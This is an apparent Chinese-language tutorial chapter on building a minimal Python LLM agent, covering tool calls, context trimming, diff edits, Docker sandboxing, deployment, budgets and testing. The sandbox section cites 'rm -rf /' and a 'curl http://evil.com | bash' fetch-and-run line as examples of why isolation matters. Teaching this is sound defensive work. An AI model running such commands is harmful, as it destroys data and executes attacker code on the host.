主题
第 10 章 工程进阶:想自己造工具
预计阅读 16 分钟 · 全文约 4,784 字
本章产出:一个能跑的最小 Agent(读文件、跑命令、多轮循环),以及一套能复用的上下文管理方案。
开场:从"会用"到"会造"
前面九章,你一直在用别人做的工具。
这一章开始,人家带你造工具。
为什么值得学?
- 通用工具解决不了你的具体问题,你能改
- 你能理解"为什么有些 AI 工具好用、有些难用"
- 你能接更贵的单(定制开发 > 代装 > 陪聊)
需要什么基础?
- 会一点 Python 或 TypeScript(能看懂函数、循环、字典)
- 会用命令行
- 有耐心(调试 Agent 很磨人)
不会编程能学吗? 能看懂思路,但动手做不了。建议先去补一周 Python 基础再回来。
10.1 用 Python 写第一个 Agent
目标
一个能:
- 接收任务
- 调用工具(读文件、跑命令)
- 看结果,决定下一步
- 循环直到完成
图 10-1:最小 Agent 的架构
最核心的结构
python
import json
import subprocess
def run_agent(task, max_steps=10):
messages = [
{"role": "system", "content": "你是一个能使用工具的助手。"},
{"role": "user", "content": task}
]
for step in range(max_steps):
# 1. 调模型,看它想干什么
response = call_llm(messages, tools=TOOLS)
msg = response["choices"][0]["message"]
messages.append(msg)
# 2. 如果它不调工具,说明它认为任务完成了
if not msg.get("tool_calls"):
return msg["content"]
# 3. 执行它要调用的工具
for tool_call in msg["tool_calls"]:
result = execute_tool(
tool_call["function"]["name"],
json.loads(tool_call["function"]["arguments"])
)
messages.append({
"role": "tool",
"tool_call_id": tool_call["id"],
"content": str(result)
})
return "超过最大步数,任务未完成"这 30 行就是 Agent 的骨架。 剩下的是填工具、填错误处理、填上下文管理。
工具的定义
python
TOOLS = [
{
"type": "function",
"function": {
"name": "read_file",
"description": "读取指定路径的文件内容",
"parameters": {
"type": "object",
"properties": {
"path": {"type": "string", "description": "文件路径"}
},
"required": ["path"]
}
}
},
{
"type": "function",
"function": {
"name": "run_command",
"description": "执行 shell 命令并返回输出",
"parameters": {
"type": "object",
"properties": {
"command": {"type": "string", "description": "要执行的命令"}
},
"required": ["command"]
}
}
}
]工具的执行
python
def execute_tool(name, args):
if name == "read_file":
with open(args["path"], "r", encoding="utf-8") as f:
return f.read()
elif name == "run_command":
result = subprocess.run(
args["command"], shell=True,
capture_output=True, text=True, timeout=30
)
return result.stdout + result.stderr
else:
return f"未知工具:{name}"调用模型(以 OpenAI 兼容接口为例)
python
from openai import OpenAI
client = OpenAI(
base_url="https://your-api.com/v1",
api_key="sk-xxx"
)
def call_llm(messages, tools):
return client.chat.completions.create(
model="your-model",
messages=messages,
tools=tools,
tool_choice="auto"
)完整跑起来
把上面的代码拼起来,就能跑:
python
task = "读一下 ./test.txt,告诉我第一行是什么"
print(run_agent(task))它会:调模型 → 模型说要读文件 → 执行读文件 → 把内容还给模型 → 模型回答第一行是什么。
恭喜,你造了一个会读文件的 Agent。
加错误处理
真实场景比这复杂。至少要加:
python
def execute_tool(name, args):
try:
# ... 执行逻辑
pass
except FileNotFoundError:
return "错误:文件不存在"
except subprocess.TimeoutExpired:
return "错误:命令执行超时"
except Exception as e:
return f"错误:{str(e)}"为什么要加:工具会失败。失败信息要还给模型,让它自己想办法(换路径、换命令)。
10.2 上下文管理:记住该记的,忘该忘的
问题
Agent 跑多步之后,messages 会越来越长:
- 每步的模型输出
- 每个工具的执行结果(可能几千字)
- 原始任务
很快就撑爆上下文窗口。
方案一:滑动窗口
只保留最近 N 轮:
python
def trim_messages(messages, max_len=20):
system = messages[0]
recent = messages[-max_len:]
return [system] + recent简单,但会丢早期信息。
方案二:摘要
当消息太长时,让模型总结前面的:
python
def summarize(messages):
summary = call_llm([
{"role": "system", "content": "把以下对话总结成要点,保留关键信息。"},
{"role": "user", "content": str(messages)}
])
return [
{"role": "system", "content": "以下是任务进展摘要:" + summary},
{"role": "user", "content": "继续"}
]保留关键信息,但会丢细节。
方案三:分层记忆
短期:最近几轮对话(直接放上下文)
中期:任务进展摘要(压缩后放上下文)
长期:外部存储(需要时检索)这是生产级方案:重要的常驻,次要的压缩,大量的外置。
方案四:工具结果截断
工具返回的结果太长,截断:
python
if len(result) > 4000:
result = result[:4000] + "\n...(已截断)"简单粗暴,但有效。
实战组合
1. 工具结果超过 4000 字 → 截断
2. 消息超过 20 条 → 前面部分做摘要
3. 任务完成 → 把关键结论存到外部文件10.3 diff 编辑与文件操作
为什么不能"整个重写"
Agent 改文件时,最常见的错误做法是:读出整个文件,改,再把整个文件写回去。
问题:
- 大文件(几千行)写回,token 消耗巨大
- 容易改错地方(它可能"顺手"改了别处)
- 写回失败会损坏原文件
用 diff/patch
思路:只传"改哪几行、改成什么",不传整个文件。
格式示例:
--- a/main.py
+++ b/main.py
@@ -10,7 +10,7 @@
def calculate(x, y):
- return x + y
+ return x * y好处:
- token 少
- 精确
- 可审查(你能看清改了什么)
Python 实现
python
import difflib
def generate_diff(old_text, new_text):
diff = difflib.unified_diff(
old_text.splitlines(),
new_text.splitlines(),
lineterm=""
)
return "\n".join(diff)
# 应用 diff
import subprocess
def apply_diff(file_path, diff_text):
result = subprocess.run(
["patch", file_path],
input=diff_text, text=True,
capture_output=True
)
return result.returncode == 0更安全的做法:先备份
python
import shutil
def safe_edit(file_path, new_content):
backup = file_path + ".bak"
shutil.copy(file_path, backup)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return True
except Exception:
shutil.copy(backup, file_path) # 恢复
return False生产级工具都会做备份——改坏了能回滚。
文件操作的安全边界
python
import os
ALLOWED_DIR = "/home/user/project"
def safe_path(path):
"""确保路径在允许的目录内"""
real = os.path.realpath(path)
if not real.startswith(os.path.realpath(ALLOWED_DIR)):
raise PermissionError(f"越界访问:{path}")
return real这是沙箱的最基础实现:路径检查。
10.4 沙箱执行环境搭建
为什么需要
Agent 要跑命令。命令可能是:
ls(安全)rm -rf /(灾难)curl http://evil.com | bash(更灾难)
你不能让它在你的主系统上随便跑。
方案一:子进程 + 超时(最简)
python
import subprocess
def run_safe(command):
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=30, # 超时
cwd="/tmp/sandbox" # 限定工作目录
)
return result.stdout + result.stderr能防:超时、跑偏目录。防不了:删系统文件。
方案二:Docker 容器(推荐)
bash
docker run --rm \
-v /path/to/project:/workspace \
-w /workspace \
--network none \
--memory 512m \
--cpus 1 \
python:3.11 \
python agent_script.py参数解释:
-v:只挂载项目目录,其他目录看不到--network none:禁网(防外联)--memory:限内存(防 OOM)--cpus:限 CPU(防跑满)--rm:跑完自动删除(不留垃圾)
这是最实用的方案。 大多数 Agent 工具都是用容器做沙箱。
方案三:无网络 + 只读挂载
比容器弱一点,但简单:
bash
# Linux 下用 unshare 隔离
unshare --mount --pid --fork \
bash -c "mount -o remount,ro / && your_command"复杂,不太推荐给新手。
一个最小可用的沙箱脚本
python
import subprocess
import tempfile
import os
def run_in_sandbox(command, timeout=30):
with tempfile.TemporaryDirectory() as tmpdir:
try:
result = subprocess.run(
command, shell=True,
capture_output=True, text=True,
timeout=timeout, cwd=tmpdir,
env={"PATH": "/usr/bin:/bin"} # 最小环境变量
)
return result.stdout + result.stderr
except subprocess.TimeoutExpired:
return "命令超时"注意:这还不是真沙箱(能访问文件系统),只是"限目录 + 限时"。真要隔离,用 Docker。
10.5 开源项目解读:Cline / OpenHands
为什么要读源码
- 看别人怎么处理你没想到的问题
- 抄架构、抄模式
- 改造成自己的工具
Cline 的架构(简化)
┌──────────────────────────────────────┐
│ VS Code 插件(前端) │
│ - 聊天界面 │
│ - diff 展示 │
│ - 用户确认 │
└──────────────┬───────────────────────┘
│
┌──────────────▼───────────────────────┐
│ Agent 核心 │
│ - 任务规划 │
│ - 工具调用 │
│ - 上下文管理 │
└──────────────┬───────────────────────┘
│
┌──────────────▼───────────────────────┐
│ 工具层 │
│ - 文件读写 │
│ - 命令执行 │
│ - 浏览器 │
└──────────────────────────────────────┘关键设计:
- 每一步都给人看 diff:安全,可控
- 上下文按需加载:不一次读全部文件
- 工具结果精简:只返回必要信息
OpenHands 的架构(简化)
OpenHands(前身 OpenDevin)是"AI 软件工程师"的开源实现。
核心组件:
- Runtime:隔离的执行环境(Docker)
- Agent:决策逻辑
- Controller:协调 Agent 和 Runtime
- Event Stream:所有动作都变成事件,可回放
亮点设计:
- 事件流:每一步都记录,可审计、可回放
- 容器化运行时:安全隔离
- 状态管理:任务中断后能恢复
读源码的方法
1. 先读 README 和架构文档
2. 找入口文件(main / index)
3. 顺着"一次任务"的流程读:用户输入 → 规划 → 工具 → 结果 → 循环
4. 重点看:工具定义、上下文管理、错误处理
5. 不懂的地方,画流程图别从头到尾读——几万行代码读不完。带着问题读。
10.6 部署与运维:把你的工具跑起来
三种部署形态
形态一:本地脚本
自己用,直接 python agent.py。
形态二:Web 服务
给别人用,包成 API 或网页。
python
from fastapi import FastAPI
from pydantic import BaseModel
app = FastAPI()
class Task(BaseModel):
content: str
@app.post("/run")
def run(task: Task):
result = run_agent(task.content)
return {"result": result}bash
uvicorn main:app --host 0.0.0.0 --port 8000形态三:容器化部署
dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . .
CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"]bash
docker build -t my-agent .
docker run -d -p 8000:8000 --env-file .env my-agent运维要点
要点一:日志
python
import logging
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s %(levelname)s %(message)s"
)没有日志,出了问题只能猜。
要点二:成本监控
- 记录每次请求的 token 消耗
- 设每日/每月上限
- 超限自动停
要点三:错误重试
python
import time
def retry(func, times=3, delay=1):
for i in range(times):
try:
return func()
except Exception as e:
if i == times - 1:
raise
time.sleep(delay * (2 ** i)) # 指数退避要点四:限流
防止被刷爆:
python
from collections import defaultdict
import time
requests = defaultdict(list)
def rate_limit(user_id, max_per_minute=10):
now = time.time()
requests[user_id] = [t for t in requests[user_id] if now - t < 60]
if len(requests[user_id]) >= max_per_minute:
raise Exception("请求太频繁")
requests[user_id].append(now)一个真实的坑
有人把 Agent 部署到公网,没加任何鉴权。
结果:被人扫到,当成免费 API 刷,一晚上烧了几百块。
教训:任何对外服务,第一件事是加鉴权。
10.7 实战:给 Agent 加记忆和预算
为什么 Agent 需要"记忆"
裸 Agent 有个致命问题:每次都是失忆状态。
今天你教它"我们的项目用 pnpm 不用 npm",明天它还是跑 npm install。
长期记忆就是解决这个的:把重要约定存下来,下次自动带上。
最简单的记忆实现:文件
python
import json, os
MEMORY_FILE = "./agent_memory.json"
def load_memory():
if os.path.exists(MEMORY_FILE):
return json.load(open(MEMORY_FILE, encoding="utf-8"))
return {"facts": [], "preferences": []}
def save_memory(mem):
json.dump(mem, open(MEMORY_FILE, "w", encoding="utf-8"),
ensure_ascii=False, indent=2)
def add_fact(mem, fact):
if fact not in mem["facts"]:
mem["facts"].append(fact)
save_memory(mem)在系统提示里注入:
python
mem = load_memory()
system = "你是项目助手。已知信息:\n" + "\n".join(f"- {f}" for f in mem["facts"])这就是最朴素的"长期记忆"——一个 JSON 文件,每次启动读进来,写进提示词。
记忆的三个坑
坑一:什么都记。 记了 500 条"事实",系统提示变成几千字,既费 token 又干扰模型。
原则:只记"稳定、重要、跨会话"的信息(技术栈约定、项目结构、用户偏好)。
坑二:记了错的。 用户随口说错一句,被记进去了,之后一直错。
原则:记忆要能被用户查看和删除。涉及关键决策的,让用户确认后再记。
坑三:记忆冲突。 先记了"用 npm",后来改成"用 pnpm",两条都在。
原则:同一主题只保留最新一条,写入时覆盖旧的。
给 Agent 加预算控制
为什么需要:Agent 会死循环、会反复调用工具,一晚上烧掉几百块不是玩笑。
python
class Budget:
def __init__(self, max_cost=1.0, price_per_1k=0.002):
self.max_cost = max_cost
self.price = price_per_1k
self.used = 0.0
def charge(self, prompt_tokens, completion_tokens):
cost = (prompt_tokens + completion_tokens) / 1000 * self.price
self.used += cost
if self.used > self.max_cost:
raise RuntimeError(f"预算超限:已花 {self.used:.3f} 元")
def remaining(self):
return max(0, self.max_cost - self.used)在每轮循环里扣费:
python
budget = Budget(max_cost=1.0)
resp = client.chat.completions.create(...)
budget.charge(resp.usage.prompt_tokens, resp.usage.completion_tokens)加上日志:每轮打印 已用 x 元 / 上限 y 元。跑长任务时你能随时叫停。
一个真实的翻车
有人写了个"自动整理文件"的 Agent,没加预算控制。它遇到一个不支持的压缩包,反复尝试解压,每秒调用一次模型,跑了 40 分钟。
账单:87 元。
加了预算控制之后,同样的任务在 0.8 元时被自动叫停,报错"预算超限",人去一看就知道卡在哪。
教训:Agent 的每一行循环,都要有刹车。
10.8 调试 Agent 的方法
看不到它想什么,你就修不好它
Agent 出问题,最常见的情况是"它就是不干活"或"它一直在干同一件事"。这时候你需要看它每一步的输入输出。
打印完整轨迹
python
def run_agent(task, verbose=True):
...
for step in range(MAX_STEPS):
if verbose:
print(f"\n=== 第 {step} 步 ===")
print("消息数:", len(messages))
print("最后一条:", messages[-1].get("role"), str(messages[-1].get("content"))[:200])
...
if verbose:
print("模型要调工具:", [tc.function.name for tc in msg.tool_calls] if msg.tool_calls else "无")看什么:
- 模型有没有收到正确的上下文?
- 它选的工具对不对?
- 工具返回的结果它看懂了吗?
- 它是不是在重复同一个调用?
三个典型症状和对策
症状一:不调工具,直接编答案
原因:工具描述不清晰,或系统提示没要求它用工具。
对策:在系统提示里写死"必须先读文件再回答",工具描述写清楚适用场景。
症状二:反复调同一个工具,参数一样
原因:工具返回的结果它没理解,或者返回了错误但没提示它停。
对策:工具失败时返回明确中文错误("文件不存在,请换一个路径"),并在系统提示里要求"同一错误出现两次就停下汇报"。
症状三:任务做到一半跑偏
原因:上下文太长,早期指令被冲淡。
对策:把关键约束在每轮都重新强调(放在最后一条消息里),缩短历史。
一个可复用的调试模板
任务:<原始任务>
已执行步骤:<1. 读了 a.txt 2. 试图写 b.txt 失败>
当前卡点:<权限错误>
下一步建议:<请你判断,或者告诉我需要我做什么>把这个作为"状态摘要"每 5 轮注入一次,Agent 就不容易迷路。
10.9 测试你的 Agent:别等上线才发现它疯
三类测试
① 单元测试:测工具
python
def test_read_file_ok():
assert "hello" in execute_tool("read_file", {"path": "a.txt"})
def test_path_escape_blocked():
try:
execute_tool("read_file", {"path": "../secret.txt"})
assert False, "应该报错"
except PermissionError:
pass工具是 Agent 的手,手不听话,脑子再聪明也没用。
② 场景测试:测流程
准备 10 个"必做任务",每次改代码都跑一遍:
1. 读一个文件并总结
2. 列出目录并统计文件数
3. 创建一个新文件
4. 修改已有文件
5. 跑一个命令并返回结果
6. 处理不存在的文件(应报错)
7. 处理超长文件(应截断)
8. 越界访问(应拒绝)
9. 危险命令(应拦截)
10. 连续 10 步的复合任务③ 压力测试:测边界
python
for i in range(50):
run_agent("读一下 a.txt")看:会不会内存泄漏、会不会越跑越慢、步数够不够。
一个"防疯"检查清单
- [ ] 有最大步数限制
- [ ] 有超时限制
- [ ] 有预算上限
- [ ] 同一错误连续两次会自动停
- [ ] 越界路径会被拒绝
- [ ] 危险命令会被拦截
- [ ] 所有工具都有错误处理
- [ ] 每次运行都有日志
这八条,少一条都可能让你半夜被账单叫醒。
上线前的最后三件事
- 在隔离环境跑一天:用 Docker,限制网络,跑真实任务
- 看日志找异常:有没有反复重试、有没有超长输出、有没有异常工具调用
- 准备"急停开关":一个能立刻停掉所有任务的方式(kill 进程 / 关容器 / 断 key)
10.10 从 demo 到能用:三条改进路线
你写出来的第一个 Agent,大概率"能用但不好用"
它会:
- 偶尔卡住
- 偶尔乱调工具
- 偶尔把简单任务搞复杂
- 上下文一长就开始犯傻
这很正常。 下面三条路线,按投入产出排:
路线一:改提示词(成本最低,收益最快)
改什么:
- 加"先规划再执行"的指令
- 加"失败两次就停下汇报"的规则
- 加"输出前自检"的要求
- 把关键约束放在每轮最后一条消息里
效果:通常能解决 50% 的"不听话"问题。
路线二:改工具设计(中等成本,收益稳定)
改什么:
- 工具描述写清楚"什么时候用、什么时候别用"
- 工具返回结果结构化(成功/失败 + 关键信息)
- 减少工具数量(3-5 个最合适)
- 给工具加参数校验
效果:解决"选错工具""看不懂结果"的问题。
路线三:改架构(成本高,收益大)
改什么:
- 加"规划器"(先出计划,再执行)
- 加"验证器"(每步检查结果)
- 加"记忆"(长期偏好 + 短期摘要)
- 加"重试策略"(指数退避,避免死循环)
效果:解决"复杂任务迷路""长任务失忆"的问题。
一个务实的顺序
先改提示词(半天)→ 观察一周
再改工具(两天)→ 观察一周
最后改架构(一周)→ 只在你真的要产品化时做别一上来就上架构。 很多问题,改两句提示词就好了。
10.11 一个完整项目:从需求到上线
需求
"帮我做个工具,把一堆 PDF 发票里的信息提取出来,汇总成 Excel。"
项目结构
invoice-extractor/
├── src/
│ ├── main.py # 入口
│ ├── extract.py # 调模型提取
│ ├── parse.py # 结果解析校验
│ ├── ledger.py # 写 Excel
│ └── config.py # 配置
├── tests/
│ └── test_extract.py
├── requirements.txt
└── README.md核心代码:提取 + 校验
python
# extract.py
import json
from openai import OpenAI
client = OpenAI(base_url="...", api_key="...")
SCHEMA = {
"发票号码": "string",
"开票日期": "YYYY-MM-DD",
"金额": "number",
"销售方": "string",
}
def extract(text: str) -> dict:
prompt = f"""从下面的发票文字中提取信息,严格输出 JSON,不要多余文字。
字段:{json.dumps(SCHEMA, ensure_ascii=False)}
如果某项找不到,值填 null。
文字:
{text[:6000]}"""
resp = client.chat.completions.create(
model="你的模型",
messages=[{"role": "user", "content": prompt}],
temperature=0,
response_format={"type": "json_object"},
)
return json.loads(resp.choices[0].message.content)python
# parse.py
import re
from datetime import datetime
def validate(data: dict) -> tuple[bool, list[str]]:
errs = []
num = data.get("发票号码") or ""
if not re.fullmatch(r"\d{8,20}", num):
errs.append(f"发票号格式异常: {num}")
d = data.get("开票日期") or ""
try:
datetime.strptime(d, "%Y-%m-%d")
except ValueError:
errs.append(f"日期格式异常: {d}")
amt = data.get("金额")
if not isinstance(amt, (int, float)) or amt <= 0:
errs.append(f"金额异常: {amt}")
return (len(errs) == 0, errs)为什么要有校验:模型输出会有格式错误、会漏字段、会把 0 认成 O。校验层是防线。
主流程
python
# main.py
import glob, json
from extract import extract
from parse import validate
from ledger import write_excel
rows, failed = [], []
for path in glob.glob("pdfs/*.txt"):
text = open(path, encoding="utf-8").read()
try:
data = extract(text)
ok, errs = validate(data)
if ok:
rows.append(data)
else:
failed.append({"file": path, "data": data, "errors": errs})
except Exception as e:
failed.append({"file": path, "error": str(e)})
write_excel(rows, "output.xlsx")
json.dump(failed, open("failed.json", "w", encoding="utf-8"),
ensure_ascii=False, indent=2)
print(f"成功 {len(rows)} 条,失败 {len(failed)} 条")上线前做的三件事
- 跑 20 个真实样本,人工核对结果
- 统计失败类型:格式错?漏字段?识别错?
- 加日志和断点:跑一半崩了能续
项目复盘的三个问题
- 哪一步最容易出错?(通常是"模型输出格式不对")
- 出错时用户看到什么?(不能只弹一个 traceback)
- 改一次要多久?(如果改一次要重新跑全量,说明结构有问题)
10.12 三个工程习惯,让你的代码能维护
习惯一:配置和代码分离
python
# config.py
import os
from dataclasses import dataclass
@dataclass
class Config:
base_url: str = os.getenv("BASE_URL", "")
api_key: str = os.getenv("API_KEY", "")
model: str = os.getenv("MODEL", "gpt-4o-mini")
max_steps: int = int(os.getenv("MAX_STEPS", "15"))
workspace: str = os.getenv("WORKSPACE", "./workspace")好处:换模型、换 key、改限制,不用改代码。
习惯二:所有外部调用都要有超时和重试
python
import time
def with_retry(fn, times=3, base_delay=1):
for i in range(times):
try:
return fn()
except Exception as e:
if i == times - 1:
raise
time.sleep(base_delay * (2 ** i))为什么:网络会抖、API 会限流。没有重试,你的脚本会在半夜挂掉。
习惯三:日志要能定位问题
python
import logging
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s | %(levelname)s | %(name)s | %(message)s",
handlers=[
logging.FileHandler("app.log", encoding="utf-8"),
logging.StreamHandler(),
],
)日志里要有:时间、级别、模块、关键参数(别打 key)、错误堆栈。
判断标准:三个月后出问题,看日志能不能还原当时发生了什么。能,就是好日志。
行业观察:外包公司怎么给 AI 项目报价
一家做企业 AI 落地的小公司,内部有一张报价工时表(真实结构):
| 阶段 | 内容 | 人天 |
|---|---|---|
| 需求调研 | 访谈、梳理流程、写需求文档 | 3-5 |
| 方案设计 | 技术选型、架构图、原型 | 2-3 |
| 开发 | 按功能点估,每个功能 1-3 天 | 10-30 |
| 测试 | 用例、联调、修 bug | 3-5 |
| 部署 | 环境、配置、上线 | 1-2 |
| 文档培训 | 使用手册、培训会 | 1-2 |
| 缓冲 | 按总工时 30% 计 | 6-14 |
报价公式:人天 × 单价(800-2000/天)
行业细节:客户砍价时,正规公司砍的是"功能范围",不是"单价"——因为单价降了,交付质量一定降。
踩坑实录
坑一:Agent 陷入死循环
场景:Agent 执行一个命令,报错;它重试;还是报错;再重试……跑了 200 次,烧了几十块。
为什么:没有"最大步数"限制,也没识别"重复失败"。
怎么爬出来:加 max_steps;检测"连续 N 次相同错误"就停;给模型明确的"失败就报告,别重试"指令。
坑二:上下文爆了,Agent 开始胡说
场景:Agent 跑了 30 步,messages 塞了几万 token,模型开始答非所问。
为什么:没做上下文管理,窗口爆了。
怎么爬出来:加截断、摘要、滑动窗口。
坑三:工具返回结果格式不对
场景:工具返回一个 JSON 字符串,模型看不懂,一直重复调用同一个工具。
为什么:工具输出格式没设计好,模型无法解析。
怎么爬出来:工具结果要结构化、简洁、明确("成功:文件内容如下……")。
坑四:没设权限,Agent 删了东西
场景:Agent 执行 rm -rf 清理临时文件,路径写错了,把项目目录删了。
为什么:没沙箱、没路径检查。
怎么爬出来:Docker 隔离 + 路径白名单 + 危险命令拦截。
Lab 10-1|写一个能跑的最小 Agent
难度:⭐⭐⭐⭐☆ 预计耗时:2-3 小时
目标:亲手实现一个能读文件、跑命令、多轮循环的 Agent
步骤:
- 装 Python 3.10+,装
openai库- 准备一个测试目录,放几个文本文件
- 实现三部分:
call_llm():调模型execute_tool():执行工具run_agent():主循环- 加三个工具:
read_file、write_file、run_command- 加限制:
max_steps = 10- 命令超时 30 秒
- 路径限制在测试目录内
- 测试三个任务:
- "读 a.txt,告诉我内容"
- "统计这个目录下有几个文件"
- "把 a.txt 的内容复制到 b.txt"
- 观察日志,看它每一步在干什么
验收标准:
- [ ] Agent 能正常跑起来
- [ ] 三个任务都能完成
- [ ] 有
max_steps限制- [ ] 有路径检查,越界会报错
- [ ] 能看懂它每一步的决策
卡住了怎么办:
- 模型不调工具 → 检查
tools参数格式,检查tool_choice- 报 401 → 检查 API key 和 base_url
- 死循环 → 加
max_steps,打印每步的messages看卡在哪- 工具结果模型看不懂 → 简化返回格式
本章自检清单
- [ ] Agent 主循环的四个步骤是什么?
- [ ] 工具定义里
description为什么重要? - [ ] 上下文管理的四种方案分别适合什么场景?
- [ ] 为什么用 diff 而不是整个重写文件?
- [ ] 沙箱的三个层次是什么?
- [ ] Docker 沙箱的关键参数有哪几个?
- [ ] 部署 Agent 时,第一件要加的安全措施是什么?
- [ ] 怎么防止 Agent 死循环?
学习进度:0 / 13 章
📝 本章小测验(3 题)
1. Agent 主循环的核心步骤是?
2. 为什么用 diff 而不是整文件重写?
3. 防止 Agent 死循环最关键的是?
一句话记住
Agent 的骨架就三十行,难的是上下文、权限、和让它别把自己玩死。
延伸阅读
- Cline / OpenHands 的 GitHub 仓库——读架构,别逐行读
- OpenAI function calling 文档——协议细节
- Docker 官方文档——沙箱基础
最后更新:2026-10